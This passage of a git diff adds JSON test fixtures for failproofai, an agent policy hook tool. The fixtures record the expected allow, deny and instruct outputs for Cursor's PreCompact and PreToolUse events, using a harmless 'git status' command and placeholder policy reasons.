"transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..47fc3e47 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..0a3ac2d0 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..d1519bdc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..088aee30 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..61e1784c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..20742f09 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-present__one-policy.json new file mode 100644 index 00000000..15f911a8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5636410d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c6b7ae29 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b676f034 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6e9b75ac --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..df890a27 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreCompact/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..330996c4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..a4837a2b --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..722392b4 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..7c17c3fc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..62d7c6b8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9c113a42 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PreToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PreToolUse", + "input": { + "event_type": "PreToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + 